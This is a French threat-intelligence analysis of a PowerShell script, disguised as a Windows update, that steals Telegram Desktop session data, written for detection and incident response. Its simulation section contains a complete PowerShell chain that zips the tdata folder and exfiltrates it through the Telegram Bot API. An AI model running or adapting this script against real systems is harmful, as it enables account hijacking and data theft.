SOC Prime Bias: Medium

27 Avr 2026 18:12

Au cœur d’un voleur de session Telegram : Comment un script PowerShell hébergé sur Pastebin cible les sessions de bureau et web

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Au cœur d’un voleur de session Telegram : Comment un script PowerShell hébergé sur Pastebin cible les sessions de bureau et web
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Un script PowerShell malveillant hébergé sur Pastebin se fait passer pour une mise à jour Windows tout en volant les données de session de Telegram Desktop des systèmes infectés. Le script rassemble les détails de l’hôte, compresse le tdata répertoire de Telegram et exfiltre l’archive résultante via l’API Telegram Bot. Les chercheurs ont également identifié un stealer basé sur le Web conçu pour capturer les clés d’authentification de Telegram Web et les transmettre à un collecteur HTTP local. Les deux outils s’appuient sur le même bot Telegram pour les notifications, bien que les preuves disponibles suggèrent qu’ils restent dans une phase de test plutôt que d’utilisation opérationnelle large.

Enquête

Les analystes ont récupéré deux variantes de scripts hébergés sur Pastebin, découvert des jetons de bot et des ID de chat codés en dur, et reconstruit le processus complet d’exfiltration. Pendant son exécution, le script termine Telegram.exe, archive le tdata dossier, et télécharge le fichier ZIP via l’API sendDocument de bot. La télémétrie du bot a également exposé un stealer axé sur le Web séparé, qui a transmis les clés d’authentification MTProto à un collecteur privé hébergé à 192.168.137.131:5000. Globalement, les conclusions pointent vers des tests fonctionnels et une validation plutôt qu’une campagne mature à grande échelle.

Atténuation

Les organisations qui n’ont pas besoin de Telegram devraient bloquer le trafic sortant vers api.telegram.org et l’infrastructure Telegram associée. Les défenseurs devraient surveiller PowerShell pour l’utilisation de Invoke-RestMethod or WebClient ciblant les points de terminaison de l’API de Telegram et détecter les archives ZIP créées dans les répertoires temporaires contenant tdata du contenu. Tous les jetons de bot exposés devraient être révoqués immédiatement et remplacés pour empêcher toute utilisation abusive.

Réponse

Si le script est découvert, terminez le processus PowerShell associé et supprimez tout diag.zip archives générées. Révoquez toutes les sessions Telegram actives liées au compte affecté et activez l’authentification à deux facteurs pour réduire le risque d’accès continu. Le jeton de bot doit être modifié, et le chat du bot lié doit être examiné pour trouver des preuves de données exfiltrées. Une enquête médico-légale plus large devrait également confirmer si des informations d’identification ou du matériel de session supplémentaires ont été collectés.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 %% Action nodes action_user_exec["<b>Action</b> – <b>T1204 Exécution de l’utilisateur</b><br/>La victime exécute un script PowerShell nommé Mise à jour de la télémétrie Windows<br/><b>Technique</b> T1036 Mascarade"] class action_user_exec action action_powershell_interp["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Script exécuté via l’interpréteur PowerShell"] class action_powershell_interp action action_sysinfo["<b>Action</b> – <b>T1082 Découverte d’informations système</b><br/>Collecte le nom d’utilisateur, le nom de l’ordinateur et l’IP publique"] class action_sysinfo action action_collect_tdata["<b>Action</b> – <b>T1005 Données du système local</b><br/>Localise les répertoires tdata de Telegram Desktop et termine Telegram.exe"] class action_collect_tdata action action_archive["<b>Action</b> – <b>T1560.001 Archive via Utility</b><br/>Compressu2011Archive crée diag.zip avec les fichiers collectés"] class action_archive action action_delete["<b>Action</b> – <b>T1070.004 Suppression de fichiers</b><br/>Supprime diag.zip après l’upload"] class action_delete action action_exfiltration["<b>Action</b> – <b>T1020 Exfiltration automatisée</b><br/>Utilise le point de terminaison sendDocument de Telegram Bot pour exfiltrer le fichier zip<br/><b>Subu2011techniques</b> T1041 Exfiltration via channel C2, T1567 Exfiltration à travers un service web, T1071.001 Protocoles Web"] class action_exfiltration action action_session_hijack["<b>Action</b> – <b>T1563 Détournement de session de service à distance</b><br/>Rejoue les clés d’autorisation MTProto des données tdata collectées"] class action_session_hijack action action_steal_cookies["<b>Action</b> – <b>T1550.004 Utiliser un matériel d’authentification alternatif</b><br/>Vole les cookies de session de Telegram Web du stockage du navigateur et les transmet au collecteur"] class action_steal_cookies action %% Tool / Process nodes tool_powershell["<b>Outil</b> – <b>Nom</b>: PowerShell<br/><b>Description</b>: Shell de ligne de commande Windows et langage de script"] class tool_powershell tool tool_compress["<b>Outil</b> – <b>Nom</b>: Compressu2011Archive<br/><b>Description</b>: Cmdlet PowerShell pour créer des archives ZIP"] class tool_compress tool process_telegram["<b>Processus</b> – <b>Nom</b>: Telegram.exe<br/><b>Description</b>: Client de bureau pour la messagerie Telegram"] class process_telegram process tool_telegram_bot["<b>Outil</b> – <b>Nom</b>: API Telegram Bot<br/><b>Description</b>: Point de terminaison sendDocument utilisé pour l’exfiltration de données"] class tool_telegram_bot tool %% Connections showing flow action_user_exec –>|déclenche| action_powershell_interp action_powershell_interp –>|utilise| tool_powershell action_powershell_interp –>|exécute| action_sysinfo action_sysinfo –>|collecte| action_collect_tdata action_collect_tdata –>|termine| process_telegram action_collect_tdata –>|utilise| tool_compress action_collect_tdata –>|crée| action_archive action_archive –>|utilise| tool_compress action_archive –>|produit| action_exfiltration action_exfiltration –>|utilise| tool_telegram_bot action_exfiltration –>|supprime| action_delete action_delete –>|nettoie| action_exfiltration action_exfiltration –>|active| action_session_hijack action_session_hijack –>|facilite| action_steal_cookies "

Flux d’attaque

Exécution de simulation

Prérequis : Le test de pré-vol de télémétrie et de base doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.

  • Narratif et commandes de l’attaque :

    1. Reconnaissance : L’attaquant interroge api.ipify.org pour découvrir l’IP publique de l’hôte (utilisée plus tard pour la journalisation).
    2. Perturbation du service : Arrête le processus Telegram Desktop légitime pour s’assurer que les fichiers ne sont pas verrouillés.
    3. Collecte des données : Copie de manière récursive le répertoire tdata de Telegram Desktop (fichiers de session) vers un emplacement temporaire.
    4. Archivage : Compresse les données collectées dans diag.zip.
    5. Exfiltration : Envoie l’archive à un bot Telegram malveillant via Invoke‑RestMethod.
    6. Nettoyage : Supprime l’archive temporaire et redémarre éventuellement Telegram.
  • Script de test de régression : Exécute toute la chaîne d’attaque dans une seule ligne de commande PowerShell (correspondant à la règle de détection).

    # Mise à jour de télémétrie Windows – Vol de session Telegram
    $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content;
    Stop-Process -Name Telegram -Force;
    $src = "$env:APPDATATelegram Desktoptdata";
    $dst = "$env:TEMPdiag";
    Copy-Item -Path $src -Destination $dst -Recurse -Force;
    Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force;
    $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11";
    $chatId = "987654321";
    Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data";
    Remove-Item -Path "$env:TEMPdiag.zip" -Force;
  • Commandes de nettoyage : Restaure l’environnement à son état original.

    # Redémarre Telegram (si souhaité) et supprime les données copiées
    Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden;
    Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;